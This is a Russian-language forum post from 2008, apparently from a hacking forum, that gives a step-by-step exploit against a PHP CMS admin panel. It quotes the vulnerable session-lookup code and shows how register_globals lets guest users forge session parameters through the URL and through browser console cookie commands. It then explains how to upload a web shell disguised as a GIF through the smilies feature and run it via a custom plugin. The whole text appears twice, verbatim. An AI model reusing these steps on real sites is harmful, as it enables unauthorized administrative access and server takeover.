Евгений Минаев
06.07.2008, 19:05
Определение, является ли зашедший юзер админом происходит в файле admin/authenticate.php, для этого берется сессия и получаются такие важные параметры из базы, как например права админа.
Получение сессии
if(!empty($_POST['s']))
{
$sessionid = $_POST['s'];
}
else if(!empty($_GET['s']))
{
$sessionid = $_GET['s'];
}
else
{
$sessionid = isset($_COOKIE[COOKIE_PREFIX . 'sessionid']) ? $_COOKIE[COOKIE_PREFIX . 'sessionid'] : '';
}
Выборка информации о пользователе
if(!empty($sessionid))
{
$sql = "SELECT * FROM " . TABLE_PREFIX . "sessions
WHERE sessionid = '$sessionid'
AND ipaddress = '" . USERIP . "'
AND lastactivity > " . (TIMENOW - $mainsettings['admincookietimeout']) . "
AND useragent = '" . addslashes(USERAGENT) . "'
AND admin = 1
LIMIT 1";
$session = $DB->query_first($sql);
}
Если включены register_globals, мы можем сами определить значения массива $sessions, которая по коду должна получаться в $sessionid. Для этого в cookies глянем идентификатор нашей сессии и сделаем запрос вида, где session[sessionid] наша сессия и session[userid] номер пользователя с администраторскими правами в базе, по дефолту 1.
http://localhost/upload/admin/index.php?session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f&session[userid]=1
Зайдя по сгенерированной ссылке мы на пару мгновений увидим администраторскую панель, затем нас обламают . Суть в том, что файл проверки инклюдится в каждый файл панели, те нам надо каждый раз его обманывать.
Cookies: session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1
>>> document.cookie='session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1';
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f"
>>> document.cookie='session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1';
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f"
>>> document.cookie='session[userid]=1';
"session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1"
То есть чтобы зайти в админ панель, достаточно даже гостевых прав. Сама админка распологает средствами бекапа баз данных. Шелл заливается через смайлы с любым расширенем картинки, затем просто переименовывается в .php. Так-то!
UPDATE: шелл заливается так - заливается gif картинка с шеллом, затем создается custom plugin и в поле Include File вписываем имя нашего залитого файла, например images/sh.php.gif. Затем идем в All Categories, выбираем любую и добавляем наш плагин к ней (Change Plugins). С заходом на отредактированную страницу увидем наш шелл
Получение сессии
if(!empty($_POST['s']))
{
$sessionid = $_POST['s'];
}
else if(!empty($_GET['s']))
{
$sessionid = $_GET['s'];
}
else
{
$sessionid = isset($_COOKIE[COOKIE_PREFIX . 'sessionid']) ? $_COOKIE[COOKIE_PREFIX . 'sessionid'] : '';
}
Выборка информации о пользователе
if(!empty($sessionid))
{
$sql = "SELECT * FROM " . TABLE_PREFIX . "sessions
WHERE sessionid = '$sessionid'
AND ipaddress = '" . USERIP . "'
AND lastactivity > " . (TIMENOW - $mainsettings['admincookietimeout']) . "
AND useragent = '" . addslashes(USERAGENT) . "'
AND admin = 1
LIMIT 1";
$session = $DB->query_first($sql);
}
Если включены register_globals, мы можем сами определить значения массива $sessions, которая по коду должна получаться в $sessionid. Для этого в cookies глянем идентификатор нашей сессии и сделаем запрос вида, где session[sessionid] наша сессия и session[userid] номер пользователя с администраторскими правами в базе, по дефолту 1.
http://localhost/upload/admin/index.php?session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f&session[userid]=1
Зайдя по сгенерированной ссылке мы на пару мгновений увидим администраторскую панель, затем нас обламают . Суть в том, что файл проверки инклюдится в каждый файл панели, те нам надо каждый раз его обманывать.
Cookies: session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1
>>> document.cookie='session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1';
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f"
>>> document.cookie='session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1';
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f"
>>> document.cookie='session[userid]=1';
"session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1"
То есть чтобы зайти в админ панель, достаточно даже гостевых прав. Сама админка распологает средствами бекапа баз данных. Шелл заливается через смайлы с любым расширенем картинки, затем просто переименовывается в .php. Так-то!
UPDATE: шелл заливается так - заливается gif картинка с шеллом, затем создается custom plugin и в поле Include File вписываем имя нашего залитого файла, например images/sh.php.gif. Затем идем в All Categories, выбираем любую и добавляем наш плагин к ней (Change Plugins). С заходом на отредактированную страницу увидем наш шелл